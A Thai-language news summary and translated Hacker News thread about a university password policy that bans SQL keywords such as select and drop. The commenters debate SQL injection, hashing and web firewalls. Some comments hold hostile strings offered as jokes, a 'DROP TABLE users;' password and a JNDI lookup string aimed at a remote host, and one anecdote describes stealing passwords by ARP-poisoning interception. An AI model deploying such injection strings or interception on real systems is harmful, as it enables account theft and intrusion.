2 คะแนน โดย GN⁺ 2024-01-22 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • การรีเซ็ตรหัสผ่านของพอร์ทัล ID ของ University of Ljubljana ถูกออกแบบให้ต้องกรอกชื่อผู้ใช้ รหัสผ่านใหม่ และยืนยันรหัสผ่านใหม่ เพื่อลด ข้อผิดพลาดในการป้อนข้อมูลระหว่างกระบวนการกู้คืนบัญชี
  • ชื่อผู้ใช้มีรูปแบบที่ดูเหมือนอีเมล โดยยกตัวอย่างเป็น js1234@student.uni-lj.si
  • รหัสผ่านใหม่ต้องมี อย่างน้อย 10 ตัวอักษร และห้ามมีข้อมูลส่วนบุคคลที่เดาได้ง่าย เช่น ชื่อหรือ姓
  • ต้องผ่านเกณฑ์ อย่างน้อย 3 ข้อ จากตัวพิมพ์ใหญ่ ตัวพิมพ์เล็ก ตัวเลข และสัญลักษณ์ -_.+@
  • คำอย่าง select, insert, update, delete, drop ก็ใช้ในรหัสผ่านไม่ได้ จึงต้องตรวจสอบไปถึง รูปแบบที่ถูกห้าม ไม่ใช่แค่ความยาวอย่างเดียว

ลำดับการกรอกข้อมูลเพื่อรีเซ็ตรหัสผ่าน

  • หน้าจอประกอบด้วยช่องกรอก Username, New password, และ New password confirmation
  • ทั้งสามรายการถูกระบุว่าเป็น required
  • ชื่อผู้ใช้มีรูปแบบที่ดูเหมือนอีเมล
    • ตัวอย่างชื่อผู้ใช้ของ John Smith คือ js1234@student.uni-lj.si
  • ต้องกรอก รหัสผ่านใหม่สองครั้ง เพื่อลดการพิมพ์ผิด

กฎของรหัสผ่านใหม่

  • รหัสผ่านใหม่ถูกถือเป็นวิธีปกป้อง ตัวตนดิจิทัล ของผู้ใช้
  • ควรหลีกเลี่ยงรหัสผ่านที่เดาได้ง่าย
    • เช่น ชื่อ นามสกุล ชื่อคู่รัก วันเดือนปีเกิด
  • รหัสผ่านต้องมี อย่างน้อย 10 ตัวอักษร
  • ห้ามมี ชื่อหรือนามสกุล ของผู้ใช้
  • ต้องผ่านอย่างน้อย 3 ข้อจากเกณฑ์ต่อไปนี้
    • ตัวอักษรภาษาอังกฤษตัวพิมพ์ใหญ่
    • ตัวอักษรภาษาอังกฤษตัวพิมพ์เล็ก
    • ตัวเลข
    • สัญลักษณ์: -_.+@

คำที่ใช้ไม่ได้

  • รหัสผ่านห้ามมีคำต่อไปนี้
    • select
    • insert
    • update
    • delete
    • drop

1 ความคิดเห็น

 
GN⁺ 2024-01-22
ความคิดเห็นจาก Hacker News
  • อ้อ สตริงพวกนั้นผมเป็นคนใส่ไว้เอง เป็น คำขอจากผู้บริหาร และจนถึงตอนนี้ก็ยังไม่รู้เหตุผล
    เว็บไซต์นี้ไม่ได้เก็บรหัสผ่านเอง แต่ใกล้เคียงกับอินเทอร์เฟซที่หุ้มระบบจัดการบัญชีภายนอกให้ดูดีขึ้น
    เคยได้ยินข่าวลือว่า การตรวจสอบฟิลด์ล็อกอินของแอปเลกาซีบางตัวแปลก ๆ ทำให้นักเรียนล็อกอินไม่ได้ถ้ารหัสผ่านมีสตริงบางอย่าง แต่ไม่รู้กรณีจริง

    • ในทางกลับกัน ก็ทำให้รหัสผ่านทั้งหมดเป็น DROP TABLE users; ไปเลยก็ได้ แบบนั้นจะคัดออกได้เร็วว่าผู้ให้บริการรายไหนจัดการรหัสผ่านอย่างไม่ปลอดภัยสุด ๆ
      กรณีนี้หมายความว่าไม่ได้ sanitize อินพุตผู้ใช้ และไม่ได้แฮชหรือซ่อนรหัสผ่านด้วย จัดอยู่ในระดับ สร้างความเดือดร้อนต่อสังคม เลย
    • บางเว็บ ฟิลด์ “สร้างรหัสผ่านใหม่” มีความยาวสูงสุดมากกว่าแอตทริบิวต์ maxlength ของฟิลด์อินพุตในฟอร์มล็อกอิน
      ผมงงอยู่นานว่าทำไมล็อกอินได้ด้วยการกรอกอัตโนมัติของ password manager แต่พิมพ์เองหรือวางกลับล็อกอินไม่ได้ ที่แท้เพราะ autofill ไม่สนใจ maxlength
    • อยากรู้ว่าเป็นแค่ข้อความบนหน้าเว็บเฉย ๆ หรือ ตรรกะตรวจสอบ บล็อกจริง ๆ กันแน่
  • เขาบอกว่าใส่ "script" ไม่ได้ แต่ตอนอายุสิบต้น ๆ ผมเคยแฮ็กแพลตฟอร์มโซเชียลขนาดใหญ่ Nettby.no
    ตอนนั้นใช้วิธีลบคำต้องห้ามทั้งหมดออก และในนั้นมี script รวมอยู่ด้วย

    • แน่นอนว่าสิ่งที่ควรทำคือให้สคริปต์ รันสองครั้ง
    • ผมก็เคยแฮ็ก Nettby ที่โรงเรียนเหมือนกัน เป็นยุคที่ดี
      Nettby ไม่มี HTTPS เลยใช้การโจมตีแบบ ARP poisoning man-in-the-middle ขโมยรหัสผ่านของทุกคน แล้วโพสต์เรื่องไร้สาระแบบสุ่มจากบัญชีคนอื่นเพื่อดูความวุ่นวาย ไม่ได้แอบส่องนะ แม้แต่ตัวผมตอนอายุ 14 ก็ดูเหมือนยังมีจริยธรรมขั้นต่ำอยู่บ้าง
    • เป็นปัญหาง่าย ๆ แค่ลบ วงเล็บมุม ออกก็จบแล้ว
    • LOL ผมก็ทำแบบเดียวกันบนเว็บ Coca-Cola แล้ว MD ของบริษัทนั้นส่งจดหมายไม่พอใจมาให้และลบบัญชีผม
  • คงโดนวิจารณ์เยอะ แต่ผมมองว่าอย่างน้อยในบางกรณีก็เป็น ไอเดียที่พอใช้ได้
    ในองค์กรมีคนจำนวนมากที่สร้างโค้ดแย่ ๆ และสถาปัตยกรรมระบบแย่ ๆ และมีคนที่มีความสามารถ อำนาจ และเวลาในการจับให้ได้แล้วบังคับให้แก้น้อยเกินไป
    ในสหรัฐฯ มักมีหลายครั้งที่ต้องทำงานผ่านเว็บไซต์ที่เขียนโค้ดห่วย ๆ อย่างเว็บของหน่วยงานสาธารณสุขท้องถิ่นอย่างหลีกเลี่ยงไม่ได้ ในกรณีแบบนี้ อาจดีกว่าที่จะถือว่าการ implement อาจเลวร้ายได้เหมือนที่มักเป็น แล้วแนะนำมาตรการบรรเทาความเสี่ยงให้เหมาะสม
    ผู้ใช้สามารถทดสอบได้ง่ายและร้องเรียนหน่วยงานกำกับดูแลได้ว่าแพตเทิร์นรหัสผ่านที่ถูกห้ามในนามถูกอนุญาตจริงหรือไม่ แต่การตรวจสอบจากภายนอกว่า implement ถูกต้องหรือไม่นั้นไม่ง่าย
    มันไม่สง่างามและน่าเศร้า แต่ในทางปฏิบัติ อาจดีกว่าที่จะยอมรับความจริงว่างานมักถูกทำแบบเละเทะและการกำกับดูแลก็ไม่พอ แล้วคิดหามาตรการบรรเทาเพื่อกันผลลัพธ์ที่เลวร้ายที่สุด

    • ไม่เห็นด้วย บนกระดาษอาจดูดี แต่ให้ ความอุ่นใจปลอม ๆ มากเกินไป
      มาตรการความปลอดภัยแบบนี้มักกลบปัญหาที่ลึกกว่า ปกติที่ใส่มาตรการแบบนี้ก็เพราะไม่ได้จัดการอินพุตผู้ใช้อย่างระมัดระวัง และสมมติฐานว่าการบล็อกคีย์เวิร์ดไม่กี่คำจะ “ทำให้ช่องโหว่ที่อาจมีอยู่หมดฤทธิ์” มักถูกหักล้างได้ง่าย ดูกรณี eBay กับ JSFuck ก็ได้
      ผมเกลียดวิธีคิดแบบนี้ Web Application Firewall (WAF), การทดสอบเจาะระบบแบบขอไปที และเช็กลิสต์ compliance ได้สร้าง ละครความปลอดภัย จำนวนมหาศาล และผมมั่นใจว่ามันทำให้บริษัทต่าง ๆ เชื่อว่าแม้จะเปิดซอฟต์แวร์ที่เขียนเละเทะอย่างไม่น่าเชื่อบางส่วนสู่สาธารณะบนอินเทอร์เน็ต ก็ยัง “ปลอดภัย” และ “ทำ due diligence แล้ว”
      ผลก็คือผมได้รับจดหมายขอโทษทางไปรษณีย์อีกแล้วว่า ข้อมูลที่อ่อนไหวที่สุดของผมรั่วจากบริษัทที่ผมแทบไม่มีทางเลือกจริง ๆ นอกจากต้องส่งข้อมูลให้ แน่นอนว่าทุกคนคงหวงแหนข้อมูลของผมมาก ถึงได้ปล่อยให้มันถูกขโมยผ่านช่องโหว่ของไลบรารี Java serialization อายุหลายสิบปี
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • ถ้าองค์กรใดมีนโยบายรหัสผ่านแบบนี้ ก็อาจตีความได้ว่าคนรับผิดชอบนโยบายคิดว่าในองค์กรของตนมีคนที่มีความสามารถและอำนาจพอจะป้องกัน ช่องโหว่ SQL injection ไม่เพียงพอ
      สำหรับหน่วยงานใด ๆ ก็ดูแย่ แต่จะยิ่งร้ายแรงหากเป็นมหาวิทยาลัย ซึ่งควรเป็นฐานที่มั่นของคนที่มีความสามารถและอำนาจ
      ถ้ามองตามคำแนะนำเรื่องรหัสผ่านทั่วไป ทางที่ดีคือทุกคนควรใส่คีย์เวิร์ดพวกนี้ในรหัสผ่านเพื่อให้บั๊กโผล่เร็ว ๆ ไม่ควรปล่อยให้มันซ่อนอยู่แล้วถูกใช้ได้เฉพาะโดยผู้โจมตี
    • รหัสผ่านไม่ควรเข้าใกล้ฐานข้อมูลด้วยซ้ำ
      ควร ใส่ salt แล้วแฮช หลายแสนครั้ง จากนั้นเทียบกับค่า salt และ hash ที่เก็บไว้ในไฟล์
      ถ้าทำแค่นี้ยังไม่ได้ ก็ไม่มีคุณสมบัติพอจะเขียนซอฟต์แวร์ที่เก็บ credentials พูดจริง ๆ ความปลอดภัยซอฟต์แวร์เริ่มจากการยอมรับว่าข้อมูลมีพิษ และถ้าไม่เคารพมัน ก็อาจทำให้บริษัทล้มละลายได้
    • นี่ดูเหมือน กับดัก defense in depth ที่พบบ่อย เป็นสถานการณ์ที่เอาความพยายามทางวิศวกรรมไปทุ่มในเลเยอร์ที่ผิด สำหรับปัญหาที่แก้ได้มีประสิทธิภาพกว่ามากในเลเยอร์อื่น
      ถ้าต้องกังวลว่าระบบจะเอารหัสผ่าน plaintext ไปใส่ในตารางฐานข้อมูล ระบบนั้นยังมีอีกเป็นล้านเรื่องที่อาจผิดพลาดอย่างน่ากลัวได้ เช่น ถ้า DBA คัดลอก SQL จาก Stack Overflow แล้ววางลงไปจะทำอย่างไร
      ถ้าในองค์กรมีวิศวกรที่ไร้ความสามารถ ก็อย่าให้พวกเขา implement ระบบยืนยันตัวตนเอง ใช้เฟรมเวิร์กโอเพนซอร์สที่ใช้กันแพร่หลายหรือผลิตภัณฑ์เชิงพาณิชย์จะดีกว่า
    • ไม่รู้ว่า เส้นทางการโจมตี ที่มันป้องกันคืออะไร
      ถ้า authentication flow ทำอะไรอย่างอื่นนอกจากใส่ salt และ hash ให้รหัสผ่านแล้วทิ้งรหัสผ่าน plaintext ต้นฉบับไป ก็ไม่ควรใช้ทั้งระบบนั้นเลย
  • ก็โอเค งั้นใช้ truncate แทนก็ได้

  • เรื่องที่ตลกที่สุดในสถานการณ์นี้คือ พวกเขาไม่ได้ตรวจสตริงต้องห้ามทั้งหมดด้วยซ้ำ
    ที่มา: เป็นนักเรียนของโรงเรียนนั้น และลองเองเพราะอยากรู้

    • ถ้ามีอะไรพังขึ้นมา มีโอกาสสูงที่เขาจะใช้ ข้อความยกเว้นความรับผิด นั้นเป็นข้ออ้างโยนความผิดให้คุณ
    • ถ้าความเสี่ยงจากการฝ่าฝืนกฎคือการถูกไล่ออก ก็คงทำให้มั่นใจเรื่อง การปฏิบัติตาม ได้ง่าย
  • แทนที่จะทำให้ SQL injection เป็นไปไม่ได้ตั้งแต่ต้นด้วย stored procedure ที่เหมาะสมและเทคนิคอื่น ๆ กลับจำกัดแค่คีย์เวิร์ดไม่กี่คำ แล้วหวังว่าแฮกเกอร์จะไม่นึกวิธีที่ตัวเองคิดไม่ถึงอย่างทริกการ escape ออก
    ช่วงหนึ่งมันก็คงใช้ได้ แต่ก็แค่จนกว่าจะมีใครพิสูจน์ได้ว่ามันใช้ไม่ได้
    การไม่ให้ input ของผู้ใช้ไปปนกับ SQL ตอนนี้ไม่ใช่ วิทยาศาสตร์จรวด แล้ว นี่ไม่ใช่ปี 2005
    ตั้งแต่แรก ถ้าวิธีนี้ได้ผลก็แปลว่าเก็บรหัสผ่านโดยไม่ hash ซึ่งแม้แต่ในปี 2005 ก็ยังเป็นเรื่องโง่ ถ้าใช้แนวทางเดียวกันกับชื่อผู้ใช้หรือฟิลด์ input อื่น ๆ ก็อาจพอสมเหตุสมผลขึ้นนิดหน่อย แต่รหัสผ่านไม่ควรถูกส่งเข้า database แบบนั้นเด็ดขาด

    • ที่บริษัทเคยคุยกันว่าจะ serialize ข้อมูลแบบมีโครงสร้างเป็น ค่าของ HTTP request header อย่างไร ผมตอบโดยอัตโนมัติว่า “subset ASCII ของ JSON ที่ไม่มีการขึ้นบรรทัดใหม่” แต่ถูกปัดตกด้วยหลายเหตุผล อาจเป็นเพราะเครื่องหมายวรรคตอนเยอะเกินไป หรือยืดยาวสำหรับภาษาจีน อะไรทำนองนั้น
      มีคนเสนอให้ใช้ฟิลด์คั่นด้วย pipe แต่ก็ถูกปัดตกเหมือนกัน เหตุผลประมาณว่า “เมื่อก่อน proxy ของลูกค้าบางรายปฏิเสธ header ที่มีอักขระ pipe”
      การเขียนโปรแกรมแบบวูดูไม่ได้เกิดจากการทดสอบภาคสนามไม่พอเสมอไป บางครั้งมันมาจากกรณีที่รู้ว่าอดีตเคยมีบางอย่างผิดพลาด แต่ไม่มีหลักฐาน และไม่มีวิธีรับมือ
      ส่วนตัวผมอยาก deploy ไปเลยแล้วดูว่ามันพังไหม จากนั้นค่อยไปแก้กับลูกค้าภายหลังถ้าจำเป็น แน่นอนว่านี่เป็นแนวทางที่ไม่เป็นที่นิยมด้วยเหตุผลที่ดีและชัดเจน สุดท้ายเลยไม่ได้ใช้ตัวอักษร pipe
    • ราวต้นปี 2005 ผมทำแอปฐานข้อมูลตัวแรก การไม่เอาข้อมูลผู้ใช้ไปปนกับ SQL ก็ไม่ได้ยากขนาดนั้น
      CGI script ก็น่าจะรันด้วย taint mode ด้วยมั้ง จำกันได้ไหม?
    • ประโยคที่ว่า “ตั้งแต่แรก ถ้าวิธีนี้ได้ผลก็แปลว่าเก็บรหัสผ่านโดยไม่ hash” ไม่จำเป็นต้องเป็นแบบนั้นเสมอไป
      RDBMS อาจรองรับฟังก์ชัน hash ได้ จึงอาจเก็บแบบ UPDATE USERS SET PASSWORD = SHA2($PASSWORD) ก็ได้ ในกรณีนี้ยังเสี่ยงต่อ SQL injection แต่ไม่ได้เก็บรหัสผ่านแบบไม่ hash
      มีเหตุผลดี ๆ ที่จะแนะนำให้ทำ hash ที่ชั้นแอปพลิเคชัน แต่ถ้าใช้ parameterized query อย่างถูกต้อง การทำใน database ก็ไม่ได้เลวร้ายขนาดนั้น
    • ข้อเท็จจริงที่บทความนี้ขึ้นหน้าแรกได้เอง ก็หมายความว่าสิ่งที่กำลังอธิบายอยู่นี้เป็น เรื่องที่เห็นได้ชัดอยู่แล้ว สำหรับผู้อ่านกลุ่มนี้
  • เฮ้อ จับไม่ได้แน่ ๆ รหัสผ่านของผมคือ ${jndi:ldap://hunter2.com/totallylegit}

    • ไม่ใช่หรอก นั่นไม่ใช่ LDAP URL ที่ถูกต้อง และโดเมนก็ไม่ถูกต้องด้วย
      โดเมนมีได้เฉพาะตัวอักษร ASCII a-z และตัวเลข 0-9 เท่านั้น เครื่องหมายดอกจันไม่อนุญาต สัญลักษณ์เดียวที่อนุญาตคือขีดกลาง และจะอยู่ต้นหรือท้ายไม่ได้ด้วย
  • มองในแง่ดี ข้อกำหนดนี้อาจมาจาก Web Application Firewall (WAF) ที่เข้มงวดเกินไปก็ได้

    • หรืออาจเป็นเพราะ “framework” หรือชุดเครื่องมือที่สถาปัตยกรรมเละเทะก็ได้
      คอมเมนต์อื่น ๆ มองว่านี่เป็น “หลักฐาน” ว่า application security แย่ แต่ผมคิดว่ายังสรุปไปไกลขนาดนั้นไม่ได้ อย่างมากก็สรุปได้ว่าส่วนหนึ่งของ stack ถูก implement มาแย่มาก
    • ถ้าอย่างนั้นก็แปลว่า WAF มองเห็นรหัสผ่านที่ยังไม่ได้ hash ซึ่งไม่ดีเลย
    • สงสัยว่า WAF ย่อมาจากอะไร
  • ฟังดูเหมือนเศษซากที่เหลือจากระบบเก่า เคยได้ยินว่ามหาวิทยาลัยและธนาคารบางแห่งใช้ mainframe เก่า สำหรับการยืนยันตัวตนแบบรวมศูนย์
    ในบางกรณีได้ยินว่ารหัสผ่านถูกเก็บเป็น plain text ถูกตัดให้เหลือ 8 ตัวอักษร และอนุญาตเฉพาะตัวพิมพ์ใหญ่
    เหตุผลหลักที่ไม่ upgrade ระบบแบบนี้ อย่างน้อยเท่าที่ผมได้ยินมา คือค่าใช้จ่ายและความซับซ้อน ประมาณว่าแทนที่จะจ่าย $$$$ เพื่อ upgrade ระบบที่ยังทำงานอยู่ ก็จ่ายแค่ $ เพื่อจำกัดรหัสผ่านและเพิ่ม “ความปลอดภัย” พื้นฐานแทน

  • เมื่อหลายปีก่อนผมกำลังทำแอปที่โพสต์บทความผ่าน WordPress API ลูกค้าแต่ละรายติดตั้ง WordPress ไว้บนสภาพแวดล้อม hosting ที่หลากหลาย และในนั้นก็มีฟีเจอร์ “ความปลอดภัย” หลายอย่าง
    ได้รับ bug report ว่าเมื่อโพสต์บทความลงบล็อกแล้วล้มเหลวและมีเนื้อหาว่างเปล่าถูกโพสต์ขึ้นไป ปรากฏว่า plugin ความปลอดภัยพวกนี้สแกนบทความบล็อกยาว ๆ แล้วถ้าเจออะไรอย่าง .... select from ก็จะเปลี่ยน parameter ของ POST นั้นให้เป็นสตริงว่าง
    เคยเห็น bug report จากลูกค้าที่คล้ายกันด้วย คือมี JavaScript ที่ถูกทำให้อ่านยากถูก inject เข้าไปในข้อความ HTML ภายในฟิลด์ JSON ของ request ที่ส่งจาก server ของเรา ไม่แน่ใจว่าเป็น plugin “ความปลอดภัย” หรือ malware กันแน่

    • เคยมีเหตุการณ์ที่ request จำนวนน้อยในชุดหน้าบางหน้าล้มเหลว ตอนแรกพบว่า URL ทุกอันมีคำว่า select อยู่ ซึ่งส่วนใหญ่เป็นส่วนหนึ่งของชื่อ parameter อย่าง itemselect เลยไปไล่หาว่ามี filter แบบ WAF อยู่ตรงไหนใน stack หรือเปล่า
      สุดท้ายก็เจอ config เก่าที่ค้างอยู่บน proxy server ตั้งแต่ก่อนใช้ WAF เชิงพาณิชย์ และ config นั้นกำลังมองหา SELECT.*UNION
      พอกลับไปดู URL อีกครั้ง ทั้งหมดก็มี parameter อย่าง company=credit+union อยู่ด้วย ผมกุมหน้าแล้วลบโค้ดนั้นทิ้ง และที่อื่นก็มีมาตรการป้องกันเพียงพออยู่แล้ว